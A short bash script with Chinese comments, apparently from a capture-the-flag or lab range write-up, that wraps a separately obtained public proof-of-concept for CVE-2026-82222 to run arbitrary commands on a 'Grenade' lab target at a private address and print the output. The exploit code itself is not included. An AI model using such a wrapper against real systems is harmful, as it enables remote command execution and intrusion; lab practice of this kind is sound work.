#!/bin/bash
# Grenade 靶场 CVE-2026-82222 命令执行辅助：./grenade_rce.sh "command"
# 依赖公开 PoC：cve-2026-82222.py（见通关记录 0x03 节的获取方式）
# 可用环境变量覆盖：GRENADE_TARGET、FORM_ID（默认 4）、POC（默认 ./cve-2026-82222.py）
TARGET="${GRENADE_TARGET:-http://192.168.1.121:8080}"
FORM_ID="${FORM_ID:-4}"
POC="${POC:-./cve-2026-82222.py}"
python3 "$POC" "$TARGET" "$FORM_ID" -c "$1" 2>&1 | sed -n 's/^    | //p'